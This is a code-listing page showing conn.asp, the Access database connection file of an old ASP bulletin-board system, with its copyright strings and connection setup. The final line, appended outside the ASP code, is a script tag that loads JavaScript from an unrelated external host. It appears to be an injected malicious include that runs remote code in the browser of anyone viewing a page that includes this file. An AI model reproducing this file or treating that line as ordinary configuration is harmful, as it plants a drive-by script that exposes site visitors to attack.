conn.asp

来自「一款有用的公告系统」· ASP 代码 · 共 25 行

<%@language=vbscript codepage=936 %>
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<%
option explicit
response.buffer=true	
dim conn
dim connstr
dim db
dim startime,endtime
startime=timer()
dim Copyright,homename
Copyright="Copyright &copy; 2003 <a href=http://fzw.rdedu.net/ target=_blnk>版权：风之吻技术网</a>.All rights Reserved"
homename="风之吻技术网"
db="data/data.asp"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
conn.Open connstr
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>